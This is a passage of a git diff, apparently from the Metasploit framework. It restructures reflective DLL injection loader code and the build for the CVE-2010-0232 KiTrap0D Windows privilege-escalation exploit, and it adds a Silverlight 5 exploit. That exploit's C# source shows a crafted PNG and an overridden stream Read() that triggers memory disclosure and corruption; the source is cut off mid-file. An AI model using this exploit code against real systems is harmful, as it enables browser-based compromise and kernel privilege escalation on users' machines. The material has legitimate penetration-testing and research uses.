__forceinline DWORD _hash( char * c )
|
|
||||||
{
|
|
||||||
register DWORD h = 0;
|
|
||||||
do
|
|
||||||
{
|
|
||||||
h = ror( h );
|
|
||||||
h += *c;
|
|
||||||
} while( *++c );
|
|
||||||
|
|
||||||
return h;
|
|
||||||
}
|
|
||||||
//===============================================================================================//
|
|
||||||
typedef struct _UNICODE_STR
|
|
||||||
{
|
|
||||||
USHORT Length;
|
|
||||||
USHORT MaximumLength;
|
|
||||||
PWSTR pBuffer;
|
|
||||||
} UNICODE_STR, *PUNICODE_STR;
|
|
||||||
|
|
||||||
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
|
||||||
//__declspec( align(8) )
|
|
||||||
typedef struct _LDR_DATA_TABLE_ENTRY
|
|
||||||
{
|
|
||||||
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
|
||||||
LIST_ENTRY InMemoryOrderModuleList;
|
|
||||||
LIST_ENTRY InInitializationOrderModuleList;
|
|
||||||
PVOID DllBase;
|
|
||||||
PVOID EntryPoint;
|
|
||||||
ULONG SizeOfImage;
|
|
||||||
UNICODE_STR FullDllName;
|
|
||||||
UNICODE_STR BaseDllName;
|
|
||||||
ULONG Flags;
|
|
||||||
SHORT LoadCount;
|
|
||||||
SHORT TlsIndex;
|
|
||||||
LIST_ENTRY HashTableEntry;
|
|
||||||
ULONG TimeDateStamp;
|
|
||||||
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
|
|
||||||
|
|
||||||
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
|
||||||
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
|
||||||
{
|
|
||||||
DWORD dwLength;
|
|
||||||
DWORD dwInitialized;
|
|
||||||
LPVOID lpSsHandle;
|
|
||||||
LIST_ENTRY InLoadOrderModuleList;
|
|
||||||
LIST_ENTRY InMemoryOrderModuleList;
|
|
||||||
LIST_ENTRY InInitializationOrderModuleList;
|
|
||||||
LPVOID lpEntryInProgress;
|
|
||||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
|
||||||
|
|
||||||
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
|
||||||
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
|
||||||
{
|
|
||||||
struct _PEB_FREE_BLOCK * pNext;
|
|
||||||
DWORD dwSize;
|
|
||||||
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
|
||||||
|
|
||||||
// struct _PEB is defined in Winternl.h but it is incomplete
|
|
||||||
// WinDbg> dt -v ntdll!_PEB
|
|
||||||
typedef struct __PEB // 65 elements, 0x210 bytes
|
|
||||||
{
|
|
||||||
BYTE bInheritedAddressSpace;
|
|
||||||
BYTE bReadImageFileExecOptions;
|
|
||||||
BYTE bBeingDebugged;
|
|
||||||
BYTE bSpareBool;
|
|
||||||
LPVOID lpMutant;
|
|
||||||
LPVOID lpImageBaseAddress;
|
|
||||||
PPEB_LDR_DATA pLdr;
|
|
||||||
LPVOID lpProcessParameters;
|
|
||||||
LPVOID lpSubSystemData;
|
|
||||||
LPVOID lpProcessHeap;
|
|
||||||
PRTL_CRITICAL_SECTION pFastPebLock;
|
|
||||||
LPVOID lpFastPebLockRoutine;
|
|
||||||
LPVOID lpFastPebUnlockRoutine;
|
|
||||||
DWORD dwEnvironmentUpdateCount;
|
|
||||||
LPVOID lpKernelCallbackTable;
|
|
||||||
DWORD dwSystemReserved;
|
|
||||||
DWORD dwAtlThunkSListPtr32;
|
|
||||||
PPEB_FREE_BLOCK pFreeList;
|
|
||||||
DWORD dwTlsExpansionCounter;
|
|
||||||
LPVOID lpTlsBitmap;
|
|
||||||
DWORD dwTlsBitmapBits[2];
|
|
||||||
LPVOID lpReadOnlySharedMemoryBase;
|
|
||||||
LPVOID lpReadOnlySharedMemoryHeap;
|
|
||||||
LPVOID lpReadOnlyStaticServerData;
|
|
||||||
LPVOID lpAnsiCodePageData;
|
|
||||||
LPVOID lpOemCodePageData;
|
|
||||||
LPVOID lpUnicodeCaseTableData;
|
|
||||||
DWORD dwNumberOfProcessors;
|
|
||||||
DWORD dwNtGlobalFlag;
|
|
||||||
LARGE_INTEGER liCriticalSectionTimeout;
|
|
||||||
DWORD dwHeapSegmentReserve;
|
|
||||||
DWORD dwHeapSegmentCommit;
|
|
||||||
DWORD dwHeapDeCommitTotalFreeThreshold;
|
|
||||||
DWORD dwHeapDeCommitFreeBlockThreshold;
|
|
||||||
DWORD dwNumberOfHeaps;
|
|
||||||
DWORD dwMaximumNumberOfHeaps;
|
|
||||||
LPVOID lpProcessHeaps;
|
|
||||||
LPVOID lpGdiSharedHandleTable;
|
|
||||||
LPVOID lpProcessStarterHelper;
|
|
||||||
DWORD dwGdiDCAttributeList;
|
|
||||||
LPVOID lpLoaderLock;
|
|
||||||
DWORD dwOSMajorVersion;
|
|
||||||
DWORD dwOSMinorVersion;
|
|
||||||
WORD wOSBuildNumber;
|
|
||||||
WORD wOSCSDVersion;
|
|
||||||
DWORD dwOSPlatformId;
|
|
||||||
DWORD dwImageSubsystem;
|
|
||||||
DWORD dwImageSubsystemMajorVersion;
|
|
||||||
DWORD dwImageSubsystemMinorVersion;
|
|
||||||
DWORD dwImageProcessAffinityMask;
|
|
||||||
DWORD dwGdiHandleBuffer[34];
|
|
||||||
LPVOID lpPostProcessInitRoutine;
|
|
||||||
LPVOID lpTlsExpansionBitmap;
|
|
||||||
DWORD dwTlsExpansionBitmapBits[32];
|
|
||||||
DWORD dwSessionId;
|
|
||||||
ULARGE_INTEGER liAppCompatFlags;
|
|
||||||
ULARGE_INTEGER liAppCompatFlagsUser;
|
|
||||||
LPVOID lppShimData;
|
|
||||||
LPVOID lpAppCompatInfo;
|
|
||||||
UNICODE_STR usCSDVersion;
|
|
||||||
LPVOID lpActivationContextData;
|
|
||||||
LPVOID lpProcessAssemblyStorageMap;
|
|
||||||
LPVOID lpSystemDefaultActivationContextData;
|
|
||||||
LPVOID lpSystemAssemblyStorageMap;
|
|
||||||
DWORD dwMinimumStackCommit;
|
|
||||||
} _PEB, * _PPEB;
|
|
||||||
|
|
||||||
typedef struct
|
|
||||||
{
|
|
||||||
WORD offset:12;
|
|
||||||
WORD type:4;
|
|
||||||
} IMAGE_RELOC, *PIMAGE_RELOC;
|
|
||||||
//===============================================================================================//
|
|
||||||
#endif
|
|
||||||
//===============================================================================================//
|
|
||||||
|
|
@ -10,11 +10,11 @@
|
||||||
*/
|
*/
|
||||||
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||||
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||||
#include "../common/ReflectiveLoader.c"
|
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include "../common/common.h"
|
#include "../common/common.h"
|
||||||
#include "../common/LoadLibraryR.h"
|
#include "../../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h"
|
||||||
#include "../common/ResourceLoader.h"
|
#include "../common/ResourceLoader.h"
|
||||||
#include "resource.h"
|
#include "resource.h"
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -49,7 +49,7 @@
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<ClCompile>
|
<ClCompile>
|
||||||
<Optimization>Disabled</Optimization>
|
<Optimization>Disabled</Optimization>
|
||||||
<AdditionalIncludeDirectories>%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;KITRAP0D_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;KITRAP0D_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
<MinimalRebuild>true</MinimalRebuild>
|
<MinimalRebuild>true</MinimalRebuild>
|
||||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||||
|
|
@ -81,7 +81,7 @@
|
||||||
<Optimization>MinSpace</Optimization>
|
<Optimization>MinSpace</Optimization>
|
||||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||||
<AdditionalIncludeDirectories>%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;KITRAP0D_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;KITRAP0D_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
<StringPooling>true</StringPooling>
|
<StringPooling>true</StringPooling>
|
||||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
|
@ -121,17 +121,21 @@
|
||||||
<AdditionalOptions>/ignore:4070</AdditionalOptions>
|
<AdditionalOptions>/ignore:4070</AdditionalOptions>
|
||||||
</Link>
|
</Link>
|
||||||
<PostBuildEvent>
|
<PostBuildEvent>
|
||||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL</Command>
|
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
|
||||||
|
IF EXIST "..\..\..\..\..\data\exploits\CVE-2010-0232\" GOTO COPY
|
||||||
|
mkdir "..\..\..\..\..\data\exploits\CVE-2010-0232\"
|
||||||
|
:COPY
|
||||||
|
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2010-0232\"</Command>
|
||||||
</PostBuildEvent>
|
</PostBuildEvent>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClCompile Include="..\common\LoadLibraryR.c" />
|
<ClCompile Include="..\..\..\ReflectiveDLLInjection\inject\src\LoadLibraryR.c" />
|
||||||
<ClCompile Include="..\common\ResourceLoader.c" />
|
<ClCompile Include="..\common\ResourceLoader.c" />
|
||||||
<ClCompile Include="kitrap0d.c" />
|
<ClCompile Include="kitrap0d.c" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
<ClInclude Include="..\..\..\ReflectiveDLLInjection\inject\src\LoadLibraryR.h" />
|
||||||
<ClInclude Include="..\common\common.h" />
|
<ClInclude Include="..\common\common.h" />
|
||||||
<ClInclude Include="..\common\LoadLibraryR.h" />
|
|
||||||
<ClInclude Include="..\common\ResourceLoader.h" />
|
<ClInclude Include="..\common\ResourceLoader.h" />
|
||||||
<ClInclude Include="resource.h" />
|
<ClInclude Include="resource.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
|
|
|
||||||
|
|
@ -2,24 +2,24 @@
|
||||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClCompile Include="kitrap0d.c" />
|
<ClCompile Include="kitrap0d.c" />
|
||||||
<ClCompile Include="..\common\LoadLibraryR.c">
|
|
||||||
<Filter>common</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="..\common\ResourceLoader.c">
|
<ClCompile Include="..\common\ResourceLoader.c">
|
||||||
<Filter>common</Filter>
|
<Filter>common</Filter>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
|
<ClCompile Include="..\..\..\ReflectiveDLLInjection\inject\src\LoadLibraryR.c">
|
||||||
|
<Filter>RDI</Filter>
|
||||||
|
</ClCompile>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClInclude Include="resource.h" />
|
<ClInclude Include="resource.h" />
|
||||||
<ClInclude Include="..\common\common.h">
|
<ClInclude Include="..\common\common.h">
|
||||||
<Filter>common</Filter>
|
<Filter>common</Filter>
|
||||||
</ClInclude>
|
</ClInclude>
|
||||||
<ClInclude Include="..\common\LoadLibraryR.h">
|
|
||||||
<Filter>common</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="..\common\ResourceLoader.h">
|
<ClInclude Include="..\common\ResourceLoader.h">
|
||||||
<Filter>common</Filter>
|
<Filter>common</Filter>
|
||||||
</ClInclude>
|
</ClInclude>
|
||||||
|
<ClInclude Include="..\..\..\ReflectiveDLLInjection\inject\src\LoadLibraryR.h">
|
||||||
|
<Filter>RDI</Filter>
|
||||||
|
</ClInclude>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ResourceCompile Include="kitrap0d.rc" />
|
<ResourceCompile Include="kitrap0d.rc" />
|
||||||
|
|
@ -28,5 +28,8 @@
|
||||||
<Filter Include="common">
|
<Filter Include="common">
|
||||||
<UniqueIdentifier>{cbb362dd-4029-4348-86d3-62c4b22c742d}</UniqueIdentifier>
|
<UniqueIdentifier>{cbb362dd-4029-4348-86d3-62c4b22c742d}</UniqueIdentifier>
|
||||||
</Filter>
|
</Filter>
|
||||||
|
<Filter Include="RDI">
|
||||||
|
<UniqueIdentifier>{662e77af-b8cd-4717-a3f2-87b2ec57f46c}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
</Project>
|
</Project>
|
||||||
|
|
@ -49,7 +49,7 @@
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<ClCompile>
|
<ClCompile>
|
||||||
<Optimization>Disabled</Optimization>
|
<Optimization>Disabled</Optimization>
|
||||||
<AdditionalIncludeDirectories>%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;KITRAP0D_PAYLOAD_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;KITRAP0D_PAYLOAD_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
<MinimalRebuild>true</MinimalRebuild>
|
<MinimalRebuild>true</MinimalRebuild>
|
||||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||||
|
|
@ -75,7 +75,7 @@
|
||||||
<Optimization>MinSpace</Optimization>
|
<Optimization>MinSpace</Optimization>
|
||||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||||
<AdditionalIncludeDirectories>%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;KITRAP0D_PAYLOAD_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;KITRAP0D_PAYLOAD_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
<StringPooling>true</StringPooling>
|
<StringPooling>true</StringPooling>
|
||||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
|
|
||||||
|
|
@ -7,7 +7,7 @@
|
||||||
|
|
||||||
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||||
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||||
#include "../common/ReflectiveLoader.c"
|
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||||
|
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include "kitrap0d.h"
|
#include "kitrap0d.h"
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,18 @@
|
||||||
|
<?xml version="1.0" standalone="yes"?>
|
||||||
|
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup>
|
||||||
|
<SolutionPath>.\kitrap0d.sln</SolutionPath>
|
||||||
|
</PropertyGroup>
|
||||||
|
|
||||||
|
<Target Name="all" DependsOnTargets="x86" />
|
||||||
|
|
||||||
|
<Target Name="x86">
|
||||||
|
<Message Text="Building CVE-2010-0232 KiTrap0D x86 Release version" />
|
||||||
|
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
|
||||||
|
</Target>
|
||||||
|
|
||||||
|
<Target Name="x64">
|
||||||
|
<Message Text="KiTrap0D is not supported in x64" />
|
||||||
|
</Target>
|
||||||
|
</Project>
|
||||||
|
|
||||||
|
|
@ -0,0 +1,12 @@
|
||||||
|
SilverApp1/Release/
|
||||||
|
SilverApp1/Debug/
|
||||||
|
SilverApp1/Bin/Release/
|
||||||
|
SilverApp1/Bin/Debug/
|
||||||
|
SilverApp1/obj/Release/
|
||||||
|
SilverApp1/obj/Debug/
|
||||||
|
SilverApp1/SilverApp1.csproj.user
|
||||||
|
SilverApp1.ncb
|
||||||
|
SilverApp1.suo
|
||||||
|
SilverApp1.sdf
|
||||||
|
SilverApp1.opensdf
|
||||||
|
SilverApp1.v11.suo
|
||||||
|
|
@ -0,0 +1,14 @@
|
||||||
|
Original Exploit by Vitaliy Toropov
|
||||||
|
|
||||||
|
See Packet Storm Advisory 2013-1022-1
|
||||||
|
http://packetstormsecurity.com/files/123732/PSA-2013-1022-1.txt
|
||||||
|
|
||||||
|
Source code just modified to add a new Silverlight 5 target and tweak it to allow dynamic payloads, not
|
||||||
|
just the hardcoded one.
|
||||||
|
|
||||||
|
In order to put an environment ready:
|
||||||
|
|
||||||
|
- Install Visual Studio 2010
|
||||||
|
- Install Visual Studio 2010 SP1
|
||||||
|
- Install Silverlight 5 tools for Visual Studio 2010. (http://www.microsoft.com/en-us/download/details.aspx?id=28358)
|
||||||
|
- Install the Silverlight5 Developer version (SDK) needed for testing.
|
||||||
|
|
@ -0,0 +1,20 @@
|
||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 11.00
|
||||||
|
# Visual Studio 2010
|
||||||
|
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SilverApp1", "SilverApp1\SilverApp1.csproj", "{D33B3660-E6CA-4B29-9E09-0DF99B28840E}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|Any CPU = Debug|Any CPU
|
||||||
|
Release|Any CPU = Release|Any CPU
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{D33B3660-E6CA-4B29-9E09-0DF99B28840E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||||
|
{D33B3660-E6CA-4B29-9E09-0DF99B28840E}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||||
|
{D33B3660-E6CA-4B29-9E09-0DF99B28840E}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||||
|
{D33B3660-E6CA-4B29-9E09-0DF99B28840E}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
||||||
|
|
@ -0,0 +1,8 @@
|
||||||
|
<Application xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
|
||||||
|
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
|
||||||
|
x:Class="SilverApp1.App"
|
||||||
|
>
|
||||||
|
<Application.Resources>
|
||||||
|
|
||||||
|
</Application.Resources>
|
||||||
|
</Application>
|
||||||
|
|
@ -0,0 +1,65 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Net;
|
||||||
|
using System.Windows;
|
||||||
|
using System.Windows.Controls;
|
||||||
|
using System.Windows.Documents;
|
||||||
|
using System.Windows.Input;
|
||||||
|
using System.Windows.Media;
|
||||||
|
using System.Windows.Media.Animation;
|
||||||
|
using System.Windows.Shapes;
|
||||||
|
|
||||||
|
namespace SilverApp1
|
||||||
|
{
|
||||||
|
public partial class App : Application
|
||||||
|
{
|
||||||
|
|
||||||
|
public App()
|
||||||
|
{
|
||||||
|
this.Startup += this.Application_Startup;
|
||||||
|
this.Exit += this.Application_Exit;
|
||||||
|
this.UnhandledException += this.Application_UnhandledException;
|
||||||
|
|
||||||
|
InitializeComponent();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Application_Startup(object sender, StartupEventArgs e)
|
||||||
|
{
|
||||||
|
this.RootVisual = new MainPage(e.InitParams);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Application_Exit(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Application_UnhandledException(object sender, ApplicationUnhandledExceptionEventArgs e)
|
||||||
|
{
|
||||||
|
// If the app is running outside of the debugger then report the exception using
|
||||||
|
// the browser's exception mechanism. On IE this will display it a yellow alert
|
||||||
|
// icon in the status bar and Firefox will display a script error.
|
||||||
|
if (!System.Diagnostics.Debugger.IsAttached) {
|
||||||
|
|
||||||
|
// NOTE: This will allow the application to continue running after an exception has been thrown
|
||||||
|
// but not handled.
|
||||||
|
// For production applications this error handling should be replaced with something that will
|
||||||
|
// report the error to the website and stop the application.
|
||||||
|
e.Handled = true;
|
||||||
|
Deployment.Current.Dispatcher.BeginInvoke(delegate { ReportErrorToDOM(e); });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void ReportErrorToDOM(ApplicationUnhandledExceptionEventArgs e)
|
||||||
|
{
|
||||||
|
try {
|
||||||
|
string errorMsg = e.ExceptionObject.Message + e.ExceptionObject.StackTrace;
|
||||||
|
errorMsg = errorMsg.Replace('"', '\'').Replace("\r\n", @"\n");
|
||||||
|
|
||||||
|
System.Windows.Browser.HtmlPage.Window.Eval("throw new Error(\"Unhandled Error in Silverlight Application " + errorMsg + "\");");
|
||||||
|
}
|
||||||
|
catch (Exception) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,14 @@
|
||||||
|
<UserControl x:Class="SilverApp1.MainPage"
|
||||||
|
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
|
||||||
|
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
|
||||||
|
xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
|
||||||
|
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
|
||||||
|
mc:Ignorable="d"
|
||||||
|
d:DesignHeight="400" d:DesignWidth="600" xmlns:sdk="http://schemas.microsoft.com/winfx/2006/xaml/presentation/sdk" Width="Auto" Height="Auto">
|
||||||
|
|
||||||
|
<Grid x:Name="LayoutRoot" Background="White" Height="400" Width="600">
|
||||||
|
<Button Content="Run..." Height="23" HorizontalAlignment="Right" Margin="0,367,241,0" Name="btnClickMe" VerticalAlignment="Top" Width="119" Click="btnClickMe_Click" />
|
||||||
|
<RichTextBox HorizontalAlignment="Left" Margin="12,32,0,0" Name="richTxtBox" VerticalAlignment="Top" Height="330" Width="576" TextWrapping="NoWrap" HorizontalScrollBarVisibility="Auto" />
|
||||||
|
<TextBlock Height="23" HorizontalAlignment="Right" Margin="0,4,12,0" Name="textBlock1" Text="Silverlight Application" VerticalAlignment="Top" Width="576" Foreground="Navy" FontSize="14" TextAlignment="Center" />
|
||||||
|
</Grid>
|
||||||
|
</UserControl>
|
||||||
|
|
@ -0,0 +1,572 @@
|
||||||
|
using System;
|
||||||
|
using System.Windows;
|
||||||
|
using System.Windows.Controls;
|
||||||
|
using System.Windows.Documents;
|
||||||
|
using System.IO;
|
||||||
|
using System.Windows.Media.Imaging;
|
||||||
|
using System.Resources;
|
||||||
|
|
||||||
|
|
||||||
|
namespace SilverApp1
|
||||||
|
{
|
||||||
|
// declare custom MemoryStream w/ malicious Read()
|
||||||
|
public class
|
||||||
|
MyStream : MemoryStream
|
||||||
|
{
|
||||||
|
// raw PNG image data w/o PLTE chunk data // not the shellcode :)
|
||||||
|
static byte[] pngStart = {
|
||||||
|
0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A, // PNG header
|
||||||
|
0,0,0,0x0D,0x49,0x48,0x44,0x52,0,0,0,0x08,0,0,0,0x04,0x08,0x03,0,0,0,0x84,0x13,0x8E,0xC2, // IHDR chunk
|
||||||
|
0,0,0x03,0,0x50,0x4C,0x54,0x45 // PLTE chunk header
|
||||||
|
};
|
||||||
|
static byte[] pngEnd = {
|
||||||
|
0,0,0,0, // PLTE chunk checksum can be 0
|
||||||
|
0,0,0,0x2F,0x49,0x44,0x41,0x54,0x78,0xDA,0x01,0x24,0,0xDB,0xFF,0,0,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0,0x08,0x09,0x0A,0x0B,0x0C,0x0D,
|
||||||
|
0x0E,0x0F,0,0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,0,0x18,0x19,0x1A,0x1B,0x1C,0x1D,0x1E,0x1F,0x17,0x1C,0x01,0xF1,0x7D,0xBE,0xC7,0x66, // IDAT chunk
|
||||||
|
0,0,0,0,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82 // IEND chunk
|
||||||
|
};
|
||||||
|
|
||||||
|
Object[] obj;
|
||||||
|
public byte[] png;
|
||||||
|
public int offs;
|
||||||
|
|
||||||
|
// create Stream basing on pngStart[]
|
||||||
|
public MyStream() : base(pngStart)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
int ReadBuf(byte[] buffer, int offset, int count)
|
||||||
|
{
|
||||||
|
// calc true PNG image length
|
||||||
|
int res = pngStart.Length + 0x300 + pngEnd.Length;
|
||||||
|
|
||||||
|
base.Read(buffer, offset, count); // (count = buffer.Length) < res
|
||||||
|
MainPage.LogAdd("MyStream.Read(["+buffer.Length+"],"+offset+","+count+") = " + res);
|
||||||
|
return res;
|
||||||
|
}
|
||||||
|
|
||||||
|
// override Read()
|
||||||
|
public override int Read(byte[] buffer, int offset, int count)
|
||||||
|
{
|
||||||
|
// allocate arrays sequentially in memory
|
||||||
|
int len = pngEnd.Length;
|
||||||
|
obj = new object[] { null, null }; // as PLTE data
|
||||||
|
png = new byte[0x300 + len - offs]; // as rest PNG data
|
||||||
|
MainPage.buf = new uint[3]; // the target array for memory corruption
|
||||||
|
MainPage.obj = new object[3]; // aux array
|
||||||
|
|
||||||
|
// copy the trail PNG data
|
||||||
|
Array.Copy(pngEnd, 0, png, png.Length-len, len);
|
||||||
|
|
||||||
|
// save pointers in PLTE data
|
||||||
|
obj[0] = png;
|
||||||
|
obj[1] = MainPage.buf;
|
||||||
|
|
||||||
|
// return "bytes read" > "count" to trigger the memory disclosure
|
||||||
|
return ReadBuf(buffer, offset, count);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// declare descendant for System.Windows.Browser.ScriptObject to access vulnerable protected Initialize()
|
||||||
|
public class MyObject : System.Windows.Browser.HtmlObject
|
||||||
|
{
|
||||||
|
public MyObject()
|
||||||
|
: base()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
// access protected Initialize()
|
||||||
|
public void Init(IntPtr handle)
|
||||||
|
{
|
||||||
|
MainPage.LogAdd("ScriptObject.Initialize(" + MainPage.Hex((ulong)handle) + ", 1, true, false)");
|
||||||
|
